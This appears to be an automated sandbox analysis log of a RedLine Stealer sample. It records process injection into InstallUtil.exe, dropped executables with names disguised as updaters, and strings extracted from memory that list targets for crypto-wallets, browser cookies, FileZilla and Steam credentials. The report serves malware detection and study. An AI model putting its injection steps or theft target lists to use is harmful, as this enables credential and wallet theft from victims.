Source: C:\Users\user\Desktop\rthh9q2PDv.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: build.exe.2.dr, NativeHelper.cs Reference to suspicious API methods: LoadLibrary("kernel32")
Source: build.exe.2.dr, NativeHelper.cs Reference to suspicious API methods: GetProcAddress(hModule, "GetConsoleWindow")
Source: 2.2.tmp40CA.tmp.exe.4023568.4.raw.unpack, NativeMethods.cs Reference to suspicious API methods: OpenProcessToken(hProcess, desiredAccess, out var TokenHandle)
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 730000 protect: page execute and read and write
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 730000 value starts with: 4D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 500000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 416000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 9E5008 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 416000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: C6F008
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 730000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 732000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 746000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 748000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 599008
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 472000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 474000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: FA9008
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 500000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 502000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 572000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 574000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 302008
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 472000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 474000
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: CEF008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Process created: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe "C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Queries volume information: C:\Users\user\Desktop\rthh9q2PDv.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Queries volume information: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Users\user\AppData\Local\Temp\build.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Queries volume information: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Queries volume information: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Queries volume information: C:\Users\user\AppData\Roaming\Yftssfzf.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Queries volume information: C:\Users\user\AppData\Roaming\Yftssfzf.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected RedLine Stealer
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.3fa9550.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.build.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.3fa9550.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.2128828596.0000000000652000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: tmp40CA.tmp.exe PID: 1892, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: build.exe PID: 6300, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
Source: tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
Source: tmp40CA.tmp.exe, 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
Source: InstallUtil.exe, 0000002B.00000002.2609633070.0000000002D91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: tmp40CA.tmp.exe, 00000002.00000002.2220354737.0000000006930000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: set_UseMachineKeyStore
Yara detected Credential Stealer
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.3fa9550.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.build.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.3fa9550.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.2128828596.0000000000652000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 0000002F.00000002.2620900300.0000000003031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002B.00000002.2609633070.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: tmp40CA.tmp.exe PID: 1892, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: build.exe PID: 6300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6980, type: MEMORYSTR
